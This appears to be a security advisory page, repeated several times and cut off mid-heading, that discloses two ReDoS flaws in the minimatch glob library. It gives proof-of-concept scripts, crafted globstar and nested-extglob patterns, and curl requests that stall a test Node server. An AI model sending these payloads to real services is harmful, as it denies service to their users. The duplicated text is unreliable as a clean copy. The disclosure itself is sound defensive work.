The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:
// poc1-server.mjs import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3000 const server = http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) if (url.pathname !== '/match') { res.writeHead(404); res.end(); return } const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }) server.listen(PORT)Terminal 1 -- start the server:
node poc1-server.mjsTerminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:
curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &Terminal 3 -- while the attack is in-flight, send a benign request:
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz"Observed output (Terminal 3):
{"result":true,"ms":"0"} time_total: 4.132709sThe server reports
"ms":"0"-- the legitimate request itself takes zero processing time. The 4+ secondtime_totalis entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:{"result":true,"ms":"0"} time_total: 0.001599s
Impact
Any application where an attacker can influence the glob pattern passed to
minimatch()is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.
๐จ minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions
Summary
Nested
*()extglobs produce regexps with nested unbounded quantifiers (e.g.(?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern*(*(*(a|b)))and an 18-byte non-matching input,minimatch()stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the defaultminimatch()API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects+()extglobs equally.
Details
The root cause is in
AST.toRegExpSource()atsrc/ast.ts#L598. For the*extglob type, the close token emitted is)*or)?, wrapping the recursive body in(?:...)*. When extglobs are nested, each level adds another*quantifier around the previous group:: this.type === '*' && bodyDotAllowed ? `)?` : `)${this.type}`This produces the following regexps:
Pattern Generated regex *(a|b)/^(?:a|b)*$/*(*(a|b))/^(?:(?:a|b)*)*$/*(*(*(a|b)))/^(?:(?:(?:a|b)*)*)*$/*(*(*(*(a|b))))/^(?:(?:(?:(?:a|b)*)*)*)*$/These are textbook nested-quantifier patterns. Against an input of repeated
acharacters followed by a non-matching characterz, V8's backtracking engine explores an exponential number of paths before returningfalse.The generated regex is stored on
this.setand evaluated insidematchOne()atsrc/index.ts#L1010viap.test(f). It is reached through the standardminimatch()call with no configuration.Measured times via
minimatch():
Pattern Input Time *(*(a|b))ax30 +z~68,000ms *(*(*(a|b)))ax20 +z~124,000ms *(*(*(*(a|b))))ax25 +z~116,000ms *(a|a)ax25 +z~2,000ms Depth inflection at fixed input
ax16 +z:
Depth Pattern Time 1 *(a|b)0ms 2 *(*(a|b))4ms 3 *(*(*(a|b)))270ms 4 *(*(*(*(a|b))))115,000ms Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.
PoC
Tested on minimatch@10.2.2, Node.js 20.
Step 1 -- verify the generated regexps and timing (standalone script)
Save as
poc4-validate.mjsand run withnode poc4-validate.mjs:import { minimatch, Minimatch } from 'minimatch' function timed(fn) { const s = process.hrtime.bigint() let result, error try { result = fn() } catch(e) { error = e } const ms = Number(process.hrtime.bigint() - s) / 1e6 return { ms, result, error } } // Verify generated regexps for (let depth = 1; depth <= 4; depth++) { let pat = 'a|b' for (let i = 0; i < depth; i++) pat = `*(${pat})` const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString() console.log(`depth=${depth} "${pat}" -> ${re}`) } // depth=1 "*(a|b)" -> /^(?:a|b)*$/ // depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ // depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ // depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ // Safe-length timing (exponential growth confirmation without multi-minute hang) const cases = [ ['*(*(*(a|b)))', 15], // ~270ms ['*(*(*(a|b)))', 17], // ~800ms ['*(*(*(a|b)))', 19], // ~2400ms ['*(*(a|b))', 23], // ~260ms ['*(a|b)', 101], // <5ms (depth=1 control) ] for (const [pat, n] of cases) { const t = timed(() => minimatch('a'.repeat(n) + 'z', pat)) console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`) } // Confirm noext disables the vulnerability const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true })) console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`) // +() is equally affected const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))')) console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)Observed output:
depth=1 "*(a|b)" -> /^(?:a|b)*$/ depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ "*(*(*(a|b)))" n=15: 269ms result=false "*(*(*(a|b)))" n=17: 268ms result=false "*(*(*(a|b)))" n=19: 2408ms result=false "*(*(a|b))" n=23: 257ms result=false "*(a|b)" n=101: 0ms result=false noext=true: 0ms (should be ~0ms) "+(+(+(a|b)))" n=18: 6300ms result=falseStep 2 -- HTTP server (event loop starvation proof)
Save as
poc4-server.mjs:import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3001 http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`) res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }).listen(PORT, () => console.log(`listening on ${PORT}`))Terminal 1 -- start the server:
node poc4-server.mjsTerminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately:
curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &Terminal 3 -- send a benign request while the attack is in-flight:
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz"Observed output -- Terminal 2 (attack):
{"result":false,"ms":"64149"}Observed output -- Terminal 3 (benign, concurrent):
{"result":false,"ms":"0"} time_total: 63.022047sTerminal 1 (server log):
[2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz" [2026-02-20T09:42:21.775Z] done in 64149ms result=false [2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz" [2026-02-20T09:42:21.779Z] done in 0ms result=falseThe server reports
"ms":"0"for the benign request -- the legitimate request itself requires no CPU time. The entire 63-secondtime_totalis time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.
Impact
Any context where an attacker can influence the glob pattern passed to
minimatch()is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.Depth 3 (
*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.
+()extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).Mitigation available: passing
{ noext: true }tominimatch()disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.
๐จ minimatch has ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments
Summary
matchOne()performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent**(GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- wherenis the number of path segments andkis the number of globstars. With k=11 and n=30, a call to the defaultminimatch()API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.
Details
The vulnerable loop is in
matchOne()atsrc/index.ts#L960:while (fr < fl) { .. if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) { .. return true } .. fr++ }When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each
**multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning
falseon a non-matching input.Measured timing with n=30 path segments:
k (globstars) Pattern size Time 7 36 bytes ~154ms 9 46 bytes ~1.2s 11 56 bytes ~5.4s 12 61 bytes ~9.7s 13 66 bytes ~15.9s
PoC
Tested on minimatch@10.2.2, Node.js 20.
Step 1 -- inline script
import { minimatch } from 'minimatch' // k=9 globstars, n=30 path segments // pattern: 46 bytes, default options const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b' const path = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a' const start = Date.now() minimatch(path, pattern) console.log(Date.now() - start + 'ms') // ~1200msTo scale the effect, increase k:
// k=11 -> ~5.4s, k=13 -> ~15.9s const k = 11 const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b' const path = Array(30).fill('a').join('/') minimatch(path, pattern)No special options are required. This reproduces with the default
minimatch()call.Step 2 -- HTTP server (event loop starvation proof)
The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:
// poc1-server.mjs import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3000 const server = http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) if (url.pathname !== '/match') { res.writeHead(404); res.end(); return } const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }) server.listen(PORT)Terminal 1 -- start the server:
node poc1-server.mjsTerminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:
curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &Terminal 3 -- while the attack is in-flight, send a benign request:
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz"Observed output (Terminal 3):
{"result":true,"ms":"0"} time_total: 4.132709sThe server reports
"ms":"0"-- the legitimate request itself takes zero processing time. The 4+ secondtime_totalis entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:{"result":true,"ms":"0"} time_total: 0.001599s
Impact
Any application where an attacker can influence the glob pattern passed to
minimatch()is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.
๐จ minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions
Summary
Nested
*()extglobs produce regexps with nested unbounded quantifiers (e.g.(?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern*(*(*(a|b)))and an 18-byte non-matching input,minimatch()stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the defaultminimatch()API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects+()extglobs equally.
Details
The root cause is in
AST.toRegExpSource()atsrc/ast.ts#L598. For the*extglob type, the close token emitted is)*or)?, wrapping the recursive body in(?:...)*. When extglobs are nested, each level adds another*quantifier around the previous group:: this.type === '*' && bodyDotAllowed ? `)?` : `)${this.type}`This produces the following regexps:
Pattern Generated regex *(a|b)/^(?:a|b)*$/*(*(a|b))/^(?:(?:a|b)*)*$/*(*(*(a|b)))/^(?:(?:(?:a|b)*)*)*$/*(*(*(*(a|b))))/^(?:(?:(?:(?:a|b)*)*)*)*$/These are textbook nested-quantifier patterns. Against an input of repeated
acharacters followed by a non-matching characterz, V8's backtracking engine explores an exponential number of paths before returningfalse.The generated regex is stored on
this.setand evaluated insidematchOne()atsrc/index.ts#L1010viap.test(f). It is reached through the standardminimatch()call with no configuration.Measured times via
minimatch():
Pattern Input Time *(*(a|b))ax30 +z~68,000ms *(*(*(a|b)))ax20 +z~124,000ms *(*(*(*(a|b))))ax25 +z~116,000ms *(a|a)ax25 +z~2,000ms Depth inflection at fixed input
ax16 +z:
Depth Pattern Time 1 *(a|b)0ms 2 *(*(a|b))4ms 3 *(*(*(a|b)))270ms 4 *(*(*(*(a|b))))115,000ms Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.
PoC
Tested on minimatch@10.2.2, Node.js 20.
Step 1 -- verify the generated regexps and timing (standalone script)
Save as
poc4-validate.mjsand run withnode poc4-validate.mjs:import { minimatch, Minimatch } from 'minimatch' function timed(fn) { const s = process.hrtime.bigint() let result, error try { result = fn() } catch(e) { error = e } const ms = Number(process.hrtime.bigint() - s) / 1e6 return { ms, result, error } } // Verify generated regexps for (let depth = 1; depth <= 4; depth++) { let pat = 'a|b' for (let i = 0; i < depth; i++) pat = `*(${pat})` const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString() console.log(`depth=${depth} "${pat}" -> ${re}`) } // depth=1 "*(a|b)" -> /^(?:a|b)*$/ // depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ // depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ // depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ // Safe-length timing (exponential growth confirmation without multi-minute hang) const cases = [ ['*(*(*(a|b)))', 15], // ~270ms ['*(*(*(a|b)))', 17], // ~800ms ['*(*(*(a|b)))', 19], // ~2400ms ['*(*(a|b))', 23], // ~260ms ['*(a|b)', 101], // <5ms (depth=1 control) ] for (const [pat, n] of cases) { const t = timed(() => minimatch('a'.repeat(n) + 'z', pat)) console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`) } // Confirm noext disables the vulnerability const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true })) console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`) // +() is equally affected const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))')) console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)Observed output:
depth=1 "*(a|b)" -> /^(?:a|b)*$/ depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ "*(*(*(a|b)))" n=15: 269ms result=false "*(*(*(a|b)))" n=17: 268ms result=false "*(*(*(a|b)))" n=19: 2408ms result=false "*(*(a|b))" n=23: 257ms result=false "*(a|b)" n=101: 0ms result=false noext=true: 0ms (should be ~0ms) "+(+(+(a|b)))" n=18: 6300ms result=falseStep 2 -- HTTP server (event loop starvation proof)
Save as
poc4-server.mjs:import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3001 http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`) res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }).listen(PORT, () => console.log(`listening on ${PORT}`))Terminal 1 -- start the server:
node poc4-server.mjsTerminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately:
curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &Terminal 3 -- send a benign request while the attack is in-flight:
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz"Observed output -- Terminal 2 (attack):
{"result":false,"ms":"64149"}Observed output -- Terminal 3 (benign, concurrent):
{"result":false,"ms":"0"} time_total: 63.022047sTerminal 1 (server log):
[2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz" [2026-02-20T09:42:21.775Z] done in 64149ms result=false [2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz" [2026-02-20T09:42:21.779Z] done in 0ms result=falseThe server reports
"ms":"0"for the benign request -- the legitimate request itself requires no CPU time. The entire 63-secondtime_totalis time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.
Impact
Any context where an attacker can influence the glob pattern passed to
minimatch()is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.Depth 3 (
*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.
+()extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).Mitigation available: passing
{ noext: true }tominimatch()disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.
๐จ minimatch has ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments
Summary
matchOne()performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent**(GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- wherenis the number of path segments andkis the number of globstars. With k=11 and n=30, a call to the defaultminimatch()API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.
Details
The vulnerable loop is in
matchOne()atsrc/index.ts#L960:while (fr < fl) { .. if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) { .. return true } .. fr++ }When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each
**multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning
falseon a non-matching input.Measured timing with n=30 path segments:
k (globstars) Pattern size Time 7 36 bytes ~154ms 9 46 bytes ~1.2s 11 56 bytes ~5.4s 12 61 bytes ~9.7s 13 66 bytes ~15.9s
PoC
Tested on minimatch@10.2.2, Node.js 20.
Step 1 -- inline script
import { minimatch } from 'minimatch' // k=9 globstars, n=30 path segments // pattern: 46 bytes, default options const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b' const path = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a' const start = Date.now() minimatch(path, pattern) console.log(Date.now() - start + 'ms') // ~1200msTo scale the effect, increase k:
// k=11 -> ~5.4s, k=13 -> ~15.9s const k = 11 const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b' const path = Array(30).fill('a').join('/') minimatch(path, pattern)No special options are required. This reproduces with the default
minimatch()call.Step 2 -- HTTP server (event loop starvation proof)
The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:
// poc1-server.mjs import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3000 const server = http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) if (url.pathname !== '/match') { res.writeHead(404); res.end(); return } const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }) server.listen(PORT)Terminal 1 -- start the server:
node poc1-server.mjsTerminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:
curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &Terminal 3 -- while the attack is in-flight, send a benign request:
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz"Observed output (Terminal 3):
{"result":true,"ms":"0"} time_total: 4.132709sThe server reports
"ms":"0"-- the legitimate request itself takes zero processing time. The 4+ secondtime_totalis entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:{"result":true,"ms":"0"} time_total: 0.001599s
Impact
Any application where an attacker can influence the glob pattern passed to
minimatch()is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.
๐จ minimatch has ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments
Summary
matchOne()performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent**(GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- wherenis the number of path segments andkis the number of globstars. With k=11 and n=30, a call to the defaultminimatch()API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.
Details
The vulnerable loop is in
matchOne()atsrc/index.ts#L960:while (fr < fl) { .. if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) { .. return true } .. fr++ }When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each
**multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning
falseon a non-matching input.Measured timing with n=30 path segments:
k (globstars) Pattern size Time 7 36 bytes ~154ms 9 46 bytes ~1.2s 11 56 bytes ~5.4s 12 61 bytes ~9.7s 13 66 bytes ~15.9s
PoC
Tested on minimatch@10.2.2, Node.js 20.
Step 1 -- inline script
import { minimatch } from 'minimatch' // k=9 globstars, n=30 path segments // pattern: 46 bytes, default options const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b' const path = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a' const start = Date.now() minimatch(path, pattern) console.log(Date.now() - start + 'ms') // ~1200msTo scale the effect, increase k:
// k=11 -> ~5.4s, k=13 -> ~15.9s const k = 11 const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b' const path = Array(30).fill('a').join('/') minimatch(path, pattern)No special options are required. This reproduces with the default
minimatch()call.Step 2 -- HTTP server (event loop starvation proof)
The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:
// poc1-server.mjs import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3000 const server = http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) if (url.pathname !== '/match') { res.writeHead(404); res.end(); return } const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }) server.listen(PORT)Terminal 1 -- start the server:
node poc1-server.mjsTerminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:
curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &Terminal 3 -- while the attack is in-flight, send a benign request:
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz"Observed output (Terminal 3):
{"result":true,"ms":"0"} time_total: 4.132709sThe server reports
"ms":"0"-- the legitimate request itself takes zero processing time. The 4+ secondtime_totalis entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:{"result":true,"ms":"0"} time_total: 0.001599s
Impact
Any application where an attacker can influence the glob pattern passed to
minimatch()is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.
๐จ minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions
Summary
Nested
